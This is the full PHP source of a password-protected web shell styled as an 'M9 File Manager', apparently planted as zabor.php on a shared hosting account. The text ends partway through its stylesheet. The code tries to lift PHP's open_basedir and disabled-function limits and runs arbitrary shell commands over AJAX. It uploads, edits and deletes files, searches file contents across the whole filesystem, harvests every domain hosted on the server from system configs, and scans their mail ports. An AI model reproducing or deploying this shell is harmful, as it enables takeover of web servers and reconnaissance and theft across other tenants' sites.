MOON
Server: Apache
System: Linux e2e-78-16.ssdcloudindia.net 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
User: imensosw (1005)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/imensosw/public_html/zabor.php
<?php
@error_reporting(0);
@ini_set('display_errors', 0);
session_start();

// ─── PASSWORD (MD5) ───────────────────────────────────────────────────────────
define('FM_PASSWORD', '2ef0fb4c99cb03b20a2fe4453419f33f'); // md5('')

if (isset($_POST['fm_login'])) {
    if (md5($_POST['fm_pass']) === FM_PASSWORD) {
        $_SESSION['fm_auth'] = true;
    } else {
        $loginError = 'Invalid password.';
    }
}
if (isset($_GET['fm_logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}
if (empty($_SESSION['fm_auth'])) {
    showLogin(isset($loginError) ? $loginError : '');
    exit;
}
// ─────────────────────────────────────────────────────────────────────────────

// Bypass
if (function_exists('ini_set')) {
    @ini_set('open_basedir', NULL);
    @ini_set('disable_functions', '');
}

// Helpers
function writeFile($f, $d)     { return @file_put_contents($f, $d) !== false; }
function readFileContent($f)   { return @file_get_contents($f) ?: ''; }
function scanDirectory($d)     { return @scandir($d) ?: []; }
function fmSize($b) {
    if ($b < 1024)       return $b . ' B';
    if ($b < 1048576)    return round($b / 1024, 1) . ' KB';
    if ($b < 1073741824) return round($b / 1048576, 1) . ' MB';
    return round($b / 1073741824, 1) . ' GB';
}
function ok($t)  { return '<span class="msg-ok">&#10003; ' . $t . '</span>'; }
function err($t) { return '<span class="msg-err">&#10007; ' . $t . '</span>'; }

// ── FIX: recursive folder delete ─────────────────────────────────────────────
function deleteDir($path) {
    $path = rtrim($path, '/\\');
    if (!@is_dir($path)) return false;
    $items = @scandir($path);
    if ($items === false) return false;
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        $full = $path . DIRECTORY_SEPARATOR . $item;
        if (@is_dir($full)) {
            if (!deleteDir($full)) return false;
        } else {
            if (!@unlink($full)) return false;
        }
    }
    return @rmdir($path);
}

// ── DOMAIN ENUMERATION ───────────────────────────────────────────────────────
// Read-only aggregation of domains hosted on this server from common config
// locations (cPanel, Apache, nginx, BIND, Exim, Plesk). Each domain row keeps
// the source(s) it was discovered in, plus owner/docroot when available.
// ── MAIL PORT SCAN ───────────────────────────────────────────────────────────
// Probes common mail ports on a hostname. Returns array of open ports.
// Short per-port timeout keeps a multi-domain scan bounded.
function fmScanMailPorts($host, $timeout = 1.5) {
    $ports = [
        25  => 'smtp',
        465 => 'smtps',
        587 => 'submission',
        110 => 'pop3',
        995 => 'pop3s',
        143 => 'imap',
        993 => 'imaps',
    ];
    $open = [];
    foreach ($ports as $p => $name) {
        $errno = 0; $errstr = '';
        $c = @fsockopen($host, $p, $errno, $errstr, $timeout);
        if (is_resource($c)) { $open[$p] = $name; @fclose($c); }
    }
    return $open;
}

function fmShellExec($cmd) {
    if (function_exists('shell_exec')) { $o = @shell_exec($cmd . ' 2>&1'); if ($o !== null && $o !== '') return $o; }
    if (function_exists('exec'))       { $l=[]; @exec($cmd . ' 2>&1', $l); if ($l) return implode("\n", $l); }
    if (function_exists('passthru'))   { ob_start(); @passthru($cmd . ' 2>&1'); $o = ob_get_clean(); if ($o) return $o; }
    if (function_exists('popen'))      { $h = @popen($cmd . ' 2>&1', 'r'); if ($h) { $o = @fread($h, 262144); @pclose($h); if ($o) return $o; } }
    return '';
}

function fmListDomains() {
    $domains = []; // key: lowercase domain  =>  ['domain','user','docroot','ip','sources'=>[]]
    $diag    = ['checked'=>0, 'readable'=>0, 'missing'=>[], 'denied'=>[], 'hits'=>[]];

    $add = function($d, $src, $user = '', $docroot = '', $ip = '') use (&$domains, &$diag) {
        $d = strtolower(trim($d, " \t\n\r\0\x0B.\"';"));
        if ($d === '' || strpos($d, ' ') !== false) return;
        if (!preg_match('/^[a-z0-9*_.\-]+\.[a-z]{2,}$/i', $d)) return;
        if (substr($d, -10) === '.localhost' || $d === 'localhost.localdomain') return;
        $diag['hits'][$src] = (isset($diag['hits'][$src]) ? $diag['hits'][$src] : 0) + 1;
        if (!isset($domains[$d])) {
            $domains[$d] = ['domain'=>$d,'user'=>$user,'docroot'=>$docroot,'ip'=>$ip,'sources'=>[]];
        } else {
            if ($user    && !$domains[$d]['user'])    $domains[$d]['user']    = $user;
            if ($docroot && !$domains[$d]['docroot']) $domains[$d]['docroot'] = $docroot;
            if ($ip      && !$domains[$d]['ip'])      $domains[$d]['ip']      = $ip;
        }
        if (!in_array($src, $domains[$d]['sources'], true)) $domains[$d]['sources'][] = $src;
    };
    $readLines = function($file) use (&$diag) {
        $diag['checked']++;
        if (!@file_exists($file)) { $diag['missing'][] = $file; return []; }
        if (!@is_readable($file)) { $diag['denied'][]  = $file; return []; }
        $data = @file_get_contents($file);
        if ($data === false)      { $diag['denied'][]  = $file; return []; }
        $diag['readable']++;
        return preg_split('/\r\n|\r|\n/', $data);
    };
    $glob = function($pattern) {
        $r = @glob($pattern, GLOB_NOSORT);
        return is_array($r) ? $r : [];
    };

    // 1. cPanel — /etc/userdatadomains  (most reliable)
    //    format: domain: user==owner==docroot==ip==port==srvalias
    foreach ($readLines('/etc/userdatadomains') as $ln) {
        if (strpos($ln, ':') === false) continue;
        list($dom, $rest) = explode(':', $ln, 2);
        $parts = explode('==', trim($rest));
        $add($dom, 'cpanel:userdatadomains',
            isset($parts[0]) ? trim($parts[0]) : '',
            isset($parts[2]) ? trim($parts[2]) : '',
            isset($parts[3]) ? trim($parts[3]) : '');
    }
    // 1b. cPanel per-user files — /var/cpanel/users/<user>
    foreach ($glob('/var/cpanel/users/*') as $uf) {
        if (!@is_file($uf)) continue;
        $user = basename($uf);
        foreach ($readLines($uf) as $ln) {
            if (preg_match('/^(?:DNS\d*|XDNS\d*)=(.+)$/i', trim($ln), $m)) {
                $add($m[1], 'cpanel:users/'.$user, $user);
            }
        }
    }

    // 2. Apache vhosts  — ServerName / ServerAlias directives
    $apacheGlobs = [
        '/etc/httpd/conf/httpd.conf', '/etc/httpd/conf.d/*.conf',
        '/etc/httpd/conf.modules.d/*.conf', '/etc/httpd/sites-enabled/*',
        '/etc/apache2/apache2.conf', '/etc/apache2/sites-enabled/*',
        '/etc/apache2/conf-enabled/*.conf', '/etc/apache2/vhosts.d/*.conf',
        '/usr/local/apache/conf/httpd.conf',
        '/var/cpanel/userdata/*/*', // cPanel vhost userdata yaml
    ];
    $apacheFiles = [];
    foreach ($apacheGlobs as $g) {
        if (strpos($g, '*') !== false) $apacheFiles = array_merge($apacheFiles, $glob($g));
        else $apacheFiles[] = $g;
    }
    foreach (array_unique($apacheFiles) as $f) {
        if (!@is_file($f) || !@is_readable($f)) continue;
        $currentDoc = ''; $currentUser = '';
        foreach ($readLines($f) as $ln) {
            $ln = trim($ln);
            if (preg_match('/^DocumentRoot\s+["\']?([^"\'\s]+)/i', $ln, $m)) $currentDoc = $m[1];
            if (preg_match('/^(?:ServerName|ServerAlias)\s+(.+)$/i', $ln, $m)) {
                foreach (preg_split('/\s+/', $m[1]) as $d) $add($d, 'apache:'.basename($f), '', $currentDoc);
            }
            // cPanel userdata yaml: "servername: domain.tld" / "user: bob" / "documentroot: /path"
            if (preg_match('/^(?:servername|serveralias):\s*(.+)$/i', $ln, $m)) {
                foreach (preg_split('/[\s,]+/', $m[1]) as $d) $add($d, 'apache:'.basename(dirname($f)).'/'.basename($f), $currentUser, $currentDoc);
            }
            if (preg_match('/^user:\s*(\S+)/i', $ln, $m)) $currentUser = $m[1];
            if (preg_match('/^documentroot:\s*(\S+)/i', $ln, $m)) $currentDoc = $m[1];
        }
    }

    // 3. nginx vhosts — server_name directives
    $nginxGlobs = [
        '/etc/nginx/nginx.conf', '/etc/nginx/sites-enabled/*',
        '/etc/nginx/conf.d/*.conf', '/etc/nginx/vhosts/*',
        '/usr/local/nginx/conf/nginx.conf',
    ];
    $nginxFiles = [];
    foreach ($nginxGlobs as $g) {
        if (strpos($g, '*') !== false) $nginxFiles = array_merge($nginxFiles, $glob($g));
        else $nginxFiles[] = $g;
    }
    foreach (array_unique($nginxFiles) as $f) {
        if (!@is_file($f) || !@is_readable($f)) continue;
        $currentDoc = '';
        foreach ($readLines($f) as $ln) {
            $ln = trim($ln);
            if (preg_match('/^root\s+([^;]+);/i', $ln, $m)) $currentDoc = trim($m[1], "\"' ");
            if (preg_match('/^server_name\s+([^;]+);/i', $ln, $m)) {
                foreach (preg_split('/\s+/', trim($m[1])) as $d) {
                    if ($d === '_' || $d === 'localhost') continue;
                    $add($d, 'nginx:'.basename($f), '', $currentDoc);
                }
            }
        }
    }

    // 4. BIND / named zones
    foreach ($readLines('/etc/named.conf') as $ln) {
        if (preg_match('/^\s*zone\s+"([^"]+)"/i', $ln, $m)) {
            if (!in_array($m[1], ['.','localhost','0.0.127.in-addr.arpa'])
                && substr($m[1], -10) !== '.in-addr.arpa'
                && substr($m[1], -5) !== '.arpa') {
                $add($m[1], 'bind:named.conf');
            }
        }
    }
    foreach (array_merge($glob('/var/named/*.db'), $glob('/etc/bind/zones/*'), $glob('/var/named/chroot/var/named/*.db')) as $zf) {
        $name = basename($zf, '.db');
        if (substr($name, -10) === '.in-addr.arpa') continue;
        $add($name, 'bind:'.basename(dirname($zf)));
    }

    // 5. Exim / mail
    foreach (['/etc/localdomains', '/etc/secondarymx', '/etc/remotedomains'] as $f) {
        foreach ($readLines($f) as $ln) {
            $ln = trim($ln);
            if ($ln !== '' && $ln[0] !== '#') $add($ln, 'exim:'.basename($f));
        }
    }
    // /etc/virtual/<domain> directories (exim per-domain config)
    foreach ($glob('/etc/virtual/*') as $vd) {
        if (@is_dir($vd) || @is_file($vd)) $add(basename($vd), 'exim:virtual');
    }

    // 6. Plesk
    foreach ($glob('/var/www/vhosts/*') as $vd) {
        if (!@is_dir($vd)) continue;
        $name = basename($vd);
        if ($name[0] === '.' || in_array($name, ['default','chroot','fs','system'])) continue;
        $add($name, 'plesk:vhosts', '', $vd);
    }

    // 7. Last-resort heuristic — /home/*/public_html style layouts
    foreach ($glob('/home/*/public_html') as $ph) {
        $user = basename(dirname($ph));
        foreach ($glob($ph . '/*') as $sub) {
            if (!@is_dir($sub)) continue;
            $name = basename($sub);
            if (strpos($name, '.') !== false && preg_match('/\.[a-z]{2,}$/i', $name)) {
                $add($name, 'home:public_html', $user, $sub);
            }
        }
    }

    // 8. Shell fallbacks — work even when config files are unreadable
    //    apachectl -S / httpd -S → "*:80 domain.tld (config:line)"
    foreach (['apachectl -S', 'httpd -S', '/usr/sbin/apachectl -S', '/usr/local/apache/bin/apachectl -S'] as $cmd) {
        $out = fmShellExec($cmd);
        if ($out === '' || stripos($out, 'not found') !== false) continue;
        $diag['readable']++;
        foreach (preg_split('/\r\n|\r|\n/', $out) as $ln) {
            if (preg_match('/^\s*(?:port\s+\d+\s+)?namevhost\s+(\S+)/i', $ln, $m)) $add($m[1], 'sh:apachectl');
            elseif (preg_match('/^\s*alias\s+(\S+)/i', $ln, $m))                   $add($m[1], 'sh:apachectl');
            elseif (preg_match('/^\s*\*:\d+\s+(\S+)/', $ln, $m))                   $add($m[1], 'sh:apachectl');
        }
        break;
    }
    //    nginx -T → dump of full effective config
    foreach (['nginx -T', '/usr/sbin/nginx -T', '/usr/local/nginx/sbin/nginx -T'] as $cmd) {
        $out = fmShellExec($cmd);
        if ($out === '' || stripos($out, 'not found') !== false) continue;
        $diag['readable']++;
        if (preg_match_all('/^\s*server_name\s+([^;]+);/im', $out, $mm)) {
            foreach ($mm[1] as $line) {
                foreach (preg_split('/\s+/', trim($line)) as $d) {
                    if ($d === '_' || $d === 'localhost') continue;
                    $add($d, 'sh:nginx-T');
                }
            }
        }
        break;
    }
    //    System hostname(s) — last resort, always returns something
    foreach (['hostname -A', 'hostname -d', 'hostname -f', 'hostname'] as $cmd) {
        $out = trim(fmShellExec($cmd));
        if ($out === '' || stripos($out, 'not found') !== false) continue;
        foreach (preg_split('/[\s,]+/', $out) as $h) {
            if (strpos($h, '.') !== false) $add($h, 'sh:'.strtok($cmd, ' '));
        }
    }
    //    /etc/hosts — manually-mapped hostnames
    foreach ($readLines('/etc/hosts') as $ln) {
        $ln = trim($ln);
        if ($ln === '' || $ln[0] === '#') continue;
        $parts = preg_split('/\s+/', $ln);
        if (count($parts) < 2) continue;
        $ip = array_shift($parts);
        foreach ($parts as $name) {
            if (strpos($name, '.') !== false) $add($name, 'etc:hosts', '', '', $ip);
        }
    }
    //    Reverse-DNS the server's own IP(s) — catches the public hostname
    $ips = [];
    if (!empty($_SERVER['SERVER_ADDR'])) $ips[] = $_SERVER['SERVER_ADDR'];
    $ipOut = fmShellExec("hostname -I");
    if ($ipOut) foreach (preg_split('/\s+/', trim($ipOut)) as $i) if ($i) $ips[] = $i;
    foreach (array_unique($ips) as $ip) {
        if (function_exists('gethostbyaddr')) {
            $h = @gethostbyaddr($ip);
            if ($h && $h !== $ip && strpos($h, '.') !== false) $add($h, 'dns:reverse', '', '', $ip);
        }
    }

    ksort($domains);
    return ['domains' => array_values($domains), 'diag' => $diag];
}

// ── RECURSIVE SEARCH ─────────────────────────────────────────────────────────
// Walks the filesystem from $root, returning entries whose name (or, optionally,
// file content) contains the keyword (case-insensitive). Hard limits prevent
// runaway scans on huge filesystems.
function fmSearch($root, $keyword, $opts = []) {
    $opts += [
        'match_content' => false,   // also grep inside text files
        'max_results'   => 500,     // hard cap on matches returned
        'max_scanned'   => 200000,  // hard cap on entries inspected
        'max_seconds'   => 15,      // wall-clock budget
        'content_max_bytes' => 524288, // 512 KB per file for content match
    ];
    $kw = (string)$keyword;
    if ($kw === '') return ['results' => [], 'scanned' => 0, 'truncated' => false, 'elapsed' => 0];

    $kwLower = function_exists('mb_strtolower') ? mb_strtolower($kw, 'UTF-8') : strtolower($kw);
    $start   = microtime(true);
    $scanned = 0;
    $results = [];
    $truncated = false;

    // Extensions considered "text-ish" for content search
    $textExt = ['php','phtml','phar','html','htm','js','mjs','cjs','ts','tsx','jsx','css','scss','sass',
        'txt','md','json','xml','yaml','yml','ini','conf','cfg','env','log','sh','bash','zsh','py','rb',
        'pl','sql','htaccess','tpl','twig','vue','svelte','go','rs','java','kt','c','h','cpp','hpp','cs'];

    $stack = [rtrim($root, '/\\') ?: '/'];

    while ($stack) {
        if ($scanned >= $opts['max_scanned'] || count($results) >= $opts['max_results']
            || (microtime(true) - $start) >= $opts['max_seconds']) {
            $truncated = true;
            break;
        }
        $dir = array_pop($stack);
        $entries = @scandir($dir);
        if ($entries === false) continue;

        foreach ($entries as $entry) {
            if ($entry === '.' || $entry === '..') continue;
            $scanned++;
            if ($scanned >= $opts['max_scanned']) { $truncated = true; break 2; }

            $full = rtrim($dir, '/\\') . DIRECTORY_SEPARATOR . $entry;
            $isDir = @is_dir($full);

            // Name match
            $nameLower = function_exists('mb_strtolower') ? mb_strtolower($entry, 'UTF-8') : strtolower($entry);
            $nameHit   = (strpos($nameLower, $kwLower) !== false);

            // Content match (only for small text files)
            $contentHit = false;
            if (!$nameHit && !$isDir && $opts['match_content']) {
                $ext = strtolower(pathinfo($entry, PATHINFO_EXTENSION));
                $sz  = @filesize($full);
                if (in_array($ext, $textExt, true) && $sz !== false && $sz <= $opts['content_max_bytes']) {
                    $data = @file_get_contents($full, false, null, 0, $opts['content_max_bytes']);
                    if ($data !== false && stripos($data, $kw) !== false) {
                        $contentHit = true;
                    }
                }
            }

            if ($nameHit || $contentHit) {
                $results[] = [
                    'name'    => $entry,
                    'path'    => $full,
                    'dir'     => rtrim($dir, '/\\') . '/',
                    'is_dir'  => $isDir,
                    'size'    => $isDir ? null : @filesize($full),
                    'mtime'   => @filemtime($full),
                    'perm'    => @fileperms($full),
                    'match'   => $nameHit ? 'name' : 'content',
                ];
                if (count($results) >= $opts['max_results']) { $truncated = true; break 2; }
            }

            if ($isDir) {
                // Skip a few notorious pseudo-fs trees that will hang a recursive scan
                if ($full === '/proc' || $full === '/sys' || $full === '/dev'
                    || strpos($full, '/proc/') === 0 || strpos($full, '/sys/') === 0) continue;
                $stack[] = $full;
            }
        }
    }

    return [
        'results'   => $results,
        'scanned'   => $scanned,
        'truncated' => $truncated,
        'elapsed'   => round(microtime(true) - $start, 2),
    ];
}

// Path
$currentPath = isset($_GET['p']) ? $_GET['p'] : (@getcwd() ?: '.');
$currentPath = rtrim(str_replace(['\\', '//'], '/', $currentPath), '/') . '/';
if (!@is_dir($currentPath)) $currentPath = './';

// Actions
$message = '';

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_FILES['upload'])) {
        $dst = $currentPath . basename($_FILES['upload']['name']);
        $message = (@move_uploaded_file($_FILES['upload']['tmp_name'], $dst) ||
                    writeFile($dst, readFileContent($_FILES['upload']['tmp_name'])))
            ? ok('Uploaded') : err('Upload failed');
    }
    if (isset($_POST['new'])) {
        $path = $currentPath . $_POST['new'];
        if (isset($_POST['type']) && $_POST['type'] === 'dir') {
            $message = @mkdir($path) ? ok('Folder created') : err('Failed');
        } else {
            $message = writeFile($path, isset($_POST['content']) ? $_POST['content'] : '') ? ok('File created') : err('Failed');
        }
    }
    if (isset($_POST['save'], $_POST['data'])) {
        $message = writeFile($currentPath . $_POST['save'], $_POST['data']) ? ok('Saved') : err('Save failed');
    }
    if (isset($_POST['oldname'], $_POST['newname'])) {
        $message = @rename($currentPath . $_POST['oldname'], $currentPath . $_POST['newname'])
            ? ok('Renamed') : err('Failed');
    }
    if (isset($_POST['chmod_item'], $_POST['chmod_value'])) {
        $message = @chmod($currentPath . $_POST['chmod_item'], octdec($_POST['chmod_value']))
            ? ok('Permissions changed') : err('Failed');
    }
}

// ── CMD AJAX handler ──────────────────────────────────────────────────────────
if (isset($_GET['ajax_cmd'])) {
    header('Content-Type: application/json');
    $cmd = isset($_POST['c']) ? trim($_POST['c']) : '';
    $out = '';
    if ($cmd !== '') {
        if (function_exists('shell_exec')) {
            $out = @shell_exec($cmd . ' 2>&1');
        }
        if (($out === null || $out === '') && function_exists('exec')) {
            $lines = array();
            @exec($cmd . ' 2>&1', $lines);
            $out = implode("\n", $lines);
        }
        if (($out === null || $out === '') && function_exists('system')) {
            ob_start(); @system($cmd . ' 2>&1'); $out = ob_get_clean();
        }
        if (($out === null || $out === '') && function_exists('passthru')) {
            ob_start(); @passthru($cmd . ' 2>&1'); $out = ob_get_clean();
        }
        if (($out === null || $out === '') && function_exists('popen')) {
            $h = @popen($cmd . ' 2>&1', 'r');
            if ($h) { $out = @fread($h, 65536); @pclose($h); }
        }
        if ($out === null) $out = '';
    }
    $cwd = function_exists('getcwd') ? @getcwd() : '?';
    echo json_encode(array('out' => $out, 'cwd' => $cwd ? $cwd : '?'));
    exit;
}

if (isset($_GET['action'])) {
    $item     = isset($_GET['item']) ? $_GET['item'] : '';
    $itemPath = $currentPath . $item;
    if ($_GET['action'] === 'delete') {
        if (@is_file($itemPath)) {
            $message = @unlink($itemPath) ? ok('Deleted') : err('Failed');
        } elseif (@is_dir($itemPath)) {
            $message = deleteDir($itemPath) ? ok('Deleted') : err('Failed — check permissions');
        }
    } elseif ($_GET['action'] === 'download' && @is_file($itemPath)) {
        @ob_clean();
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($itemPath) . '"');
        @readfile($itemPath);
        exit;
    } elseif ($_GET['action'] === 'unzip' && @is_file($itemPath)) {
        if (!class_exists('ZipArchive')) {
            $message = err('ZipArchive extension not available on this server');
        } else {
            $zip = new ZipArchive();
            $res = $zip->open($itemPath);
            if ($res === true) {
                $extractTo = $currentPath . pathinfo($item, PATHINFO_FILENAME) . '/';
                if (!@is_dir($extractTo)) @mkdir($extractTo, 0755, true);
                $zip->extractTo($extractTo);
                $zip->close();
                $message = ok('Extracted to ' . htmlspecialchars(basename($extractTo)) . '/');
            } else {
                $errCodes = [
                    ZipArchive::ER_NOZIP   => 'Not a zip file',
                    ZipArchive::ER_INCONS  => 'Inconsistent zip archive',
                    ZipArchive::ER_CRC     => 'CRC error',
                    ZipArchive::ER_NOENT   => 'File not found',
                ];
                $message = err('Cannot open zip: ' . (isset($errCodes[$res]) ? $errCodes[$res] : 'Error #' . $res));
            }
        }
    }
}

// ── SEARCH MODE detection ────────────────────────────────────────────────────
$searchQuery     = isset($_GET['q']) ? trim($_GET['q']) : '';
$searchScope     = isset($_GET['scope']) ? $_GET['scope'] : 'host'; // 'host' or 'here'
$searchContent   = !empty($_GET['inside']);
$isSearch        = ($searchQuery !== '');
$searchResults   = null;
$isDomains       = (isset($_GET['view']) && $_GET['view'] === 'domains');
$domainList      = [];
$domainDiag      = ['checked'=>0,'readable'=>0,'missing'=>[],'denied'=>[],'hits'=>[]];
$domainElapsed   = 0;
$scanPorts       = $isDomains && !empty($_GET['ports']);
if ($isDomains) {
    @set_time_limit(120);
    $tStart = microtime(true);
    $domRes = fmListDomains();
    $domainList    = $domRes['domains'];
    $domainDiag    = $domRes['diag'];
    if ($scanPorts) {
        $budget = 60; // seconds
        $scanStart = microtime(true);
        foreach ($domainList as $i => $d) {
            if ((microtime(true) - $scanStart) > $budget) {
                $domainList[$i]['ports'] = null; // timed out — leave remaining unscanned
                continue;
            }
            $domainList[$i]['ports'] = fmScanMailPorts($d['domain'], 1.2);
        }
    }
    $domainElapsed = round(microtime(true) - $tStart, 2);
}

if ($isSearch) {
    $root = ($searchScope === 'here') ? rtrim($currentPath, '/') : '/';
    if ($root === '' || !@is_dir($root)) $root = rtrim($currentPath, '/');
    @set_time_limit(30);
    $searchResults = fmSearch($root, $searchQuery, [
        'match_content' => $searchContent,
    ]);
}

// Scan (still done so the table renders when no search is active)
$items   = array_diff(scanDirectory($currentPath), ['.', '..']);
$folders = $files = [];
foreach ($items as $item) {
    @is_dir($currentPath . $item) ? $folders[] = $item : $files[] = $item;
}
sort($folders); sort($files);

$sysInfo = ['PHP' => @phpversion(), 'OS' => @php_uname('s'), 'User' => @get_current_user(), 'CWD' => @getcwd()];

// ─── LOGIN PAGE ───────────────────────────────────────────────────────────────
function showLogin($error = '') { ?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>M9 :: Login</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#000;display:flex;align-items:center;justify-content:center;min-height:100vh;font-family:'Segoe UI',Arial,sans-serif;overflow:hidden}
body::after{content:'';position:fixed;inset:0;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,.18) 2px,rgba(0,0,0,.18) 4px);pointer-events:none;z-index:99}
.login-wrap{width:380px;position:relative;z-index:1}
.login-logo{position:relative;margin-bottom:28px;border-radius:10px;overflow:hidden;box-shadow:0 0 40px rgba(57,255,20,.25)}
.login-logo img{width:100%;display:block}
.login-logo-overlay{position:absolute;inset:0;background:linear-gradient(to bottom,transparent 40%,rgba(0,0,0,.85) 100%)}
.login-logo-text{position:absolute;bottom:14px;left:0;right:0;text-align:center}
.login-logo-text span{font-size:11px;color:#39ff14;letter-spacing:4px;text-transform:uppercase;text-shadow:0 0 8px #39ff14}
.login-box{background:rgba(0,10,0,.82);border:1px solid #1a3a1a;border-radius:10px;padding:30px 28px;backdrop-filter:blur(4px);box-shadow:0 0 30px rgba(57,255,20,.08)}
.login-box label{display:block;font-size:11px;color:#3a6b3a;text-transform:uppercase;letter-spacing:.8px;margin-bottom:7px}
.login-box input[type=password]{width:100%;background:#000;border:1px solid #1a3a1a;border-radius:5px;color:#d4f7d4;font-size:14px;padding:11px 14px;outline:none;transition:border .2s;font-family:'Courier New',monospace}
.login-box input[type=password]:focus{border-color:#39ff14;box-shadow:0 0 8px rgba(57,255,20,.2)}
.login-box input[type=password]::placeholder{color:#1f4d1f}
.login-btn{width:100%;margin-top:18px;padding:12px;background:transparent;border:1px solid #39ff14;border-radius:5px;color:#39ff14;font-size:13px;font-weight:700;cursor:pointer;letter-spacing:1.5px;text-transform:uppercase;transition:all .2s;text-shadow:0 0 6px rgba(57,255,20,.5)}
.login-btn:hover{background:#39ff14;color:#000;box-shadow:0 0 20px rgba(57,255,20,.4)}
.login-err{background:#1a0000;border:1px solid #550000;color:#ff6b6b;border-radius:5px;padding:9px 13px;font-size:12px;margin-bottom:14px;text-align:center}
.login-footer{text-align:center;margin-top:16px;font-size:10px;color:#1a3a1a;letter-spacing:1px;text-transform:uppercase}
</style>
</head>
<body>
<div class="login-wrap">
  <div class="login-logo">
    <img src="https://imagedelivery.net/41eGBrMIml4goV0L9eI4Ww/01464b5b-2bc8-49f5-99f7-9f37f3f90f00/public" alt="M9">
    <div class="login-logo-overlay"></div>
    <div class="login-logo-text"><span>File Manager</span></div>
  </div>
  <div class="login-box">
    <?php if ($error): ?><div class="login-err"><?=htmlspecialchars($error)?></div><?php endif; ?>
    <form method="POST">
      <label>Access Password</label>
      <input type="password" name="fm_pass" autofocus placeholder="_ _ _ _ _ _ _ _">
      <button type="submit" name="fm_login" value="1" class="login-btn">&#9654; Enter</button>
    </form>
  </div>
  <div class="login-footer">Secured &mdash; Unauthorized access prohibited</div>
</div>
</body>
</html>
<?php exit; }
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>M9 File Manager</title>
<style>
*{margin:0;padding:0;box-sizing:border-box}
body{background:#030804;color:#7db87d;font-family:'Segoe UI',Arial,sans-serif;font-size:14px;min-height:100vh;padding:14px}
body::after{content:'';position:fixed;inset:0;background:repeating-linear-gradient(0deg,transparent,transparent 2px,rgba(0,0,0,.06) 2px,rgba(0,0,0,.06) 4px);pointer-events:none;z-index:0}
.wrap{max-width:1500px;margin:0 auto;background:#050f05;border:1px solid #1a3a1a;border-radius:8px;overflow:hidden;position:relative;z-index:1;box-shadow:0 0 40px rgba(57,255,20,.06)}
.hdr{background:#020902;padding:12px 18px;border-bottom:2px solid #39ff14;display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:10px}
.hdr-title{display:flex;align-items:center;gap:12px}
.hdr-logo{height:38px;border-radius:4px;display:block}
.hdr-title h1{font-size:17px;font-weight:700;color:#39ff14;letter-spacing:2px;text-transform:uppercase;text-shadow:0 0 10px rgba(57,255,20,.4)}
.hdr-title .tag{font-size:10px;background:#0a1f0a;color:#39ff14;border:1px solid #1a3a1a;border-radius:3px;padding:2px 8px;letter-spacing:1px;opacity:.7}
.sys-info{display:flex;gap:16px;flex-wrap:wrap}
.sys-info span{font-size:11px;color:#2d5c2d}
.sys-info b{color:#39ff14;opacity:.8}
.hdr-logout{font-size:11px;color:#2d5c2d;text-decoration:none;border:1px solid #1a3a1a;padding:5px 12px;border-radius:4px;transition:all .2s;letter-spacing:.5px}
.hdr-logout:hover{border-color:#ff4444;color:#ff4444}
.path-nav{background:#020902;padding:9px 18px;border-bottom:1px solid #0f230f;display:flex;align-items:center;flex-wrap:wrap;gap:4px}
.path-nav a{color:#39ff14;text-decoration:none;background:#0a1f0a;border:1px solid #1a3a1a;padding:4px 10px;border-radius:3px;font-size:12px;transition:all .2s;font-family:'Courier New',monospace}
.path-nav a:hover{background:#1a3a1a;color:#fff;box-shadow:0 0 8px rgba(57,255,20,.2)}
.path-sep{color:#1a3a1a;margin:0 2px}
.msg-bar{padding:9px 18px;background:#020902;border-bottom:1px solid #0f230f;font-size:13px;font-weight:600;text-align:center;font-family:'Courier New',monospace}
.msg-ok{color:#39ff14;text-shadow:0 0 6px rgba(57,255,20,.5)}
.msg-err{color:#ff4444}
.toolbar{padding:9px 18px;background:#020902;border-bottom:1px solid #0f230f;display:flex;gap:8px;flex-wrap:wrap;align-items:center}
.btn{display:inline-flex;align-items:center;gap:6px;padding:7px 14px;border-radius:4px;font-size:12px;font-weight:600;cursor:pointer;border:1px solid #1a3a1a;background:#0a1f0a;color:#5a9a5a;text-decoration:none;transition:all .2s;white-space:nowrap;letter-spacing:.3px}
.btn:hover{background:#1a3a1a;color:#39ff14;border-color:#39ff14;box-shadow:0 0 10px rgba(57,255,20,.15)}
.btn-primary{border-color:#39ff14;color:#39ff14;text-shadow:0 0 6px rgba(57,255,20,.3)}
.btn-primary:hover{background:#0f2f0f;box-shadow:0 0 14px rgba(57,255,20,.25)}
.btn-danger{border-color:#5a1a1a;color:#ff6b6b}
.btn-danger:hover{background:#2a0808;border-color:#ff4444;color:#fff}
.editor-wrap{padding:18px;background:#020902;border-bottom:1px solid #0f230f}
.editor-title{color:#39ff14;font-size:13px;font-weight:600;margin-bottom:12px;display:flex;align-items:center;gap:8px;font-family:'Courier New',monospace}
.editor-title span{font-size:11px;color:#2d5c2d;font-weight:400}
textarea{width:100%;height:420px;background:#000;color:#39ff14;border:1px solid #1a3a1a;padding:14px;font-family:'Courier New',monospace;font-size:13px;border-radius:5px;resize:vertical;outline:none;transition:border .2s;text-shadow:0 0 2px rgba(57,255,20,.2)}
.cmd-wrap{padding:16px 18px;background:#020902;border-bottom:1px solid #0f230f}
.cmd-title{color:#39ff14;font-size:13px;font-weight:700;margin-bottom:10px;font-family:'Courier New',monospace;letter-spacing:1px;display:flex;align-items:center;justify-content:space-between}
.cmd-title .cmd-cwd{font-size:11px;color:#2d5c2d;font-weight:400;font-family:'Courier New',monospace;word-break:break-all}
.cmd-output{background:#000;border:1px solid #1a3a1a;border-radius:5px;min-height:220px;max-height:440px;overflow-y:auto;padding:12px 14px;font-family:'Courier New',monospace;font-size:12px;color:#7db87d;white-space:pre-wrap;word-break:break-all;margin-bottom:10px;text-shadow:0 0 1px rgba(57,255,20,.15)}
.cmd-output .cmd-line-in{color:#39ff14;font-weight:bold}
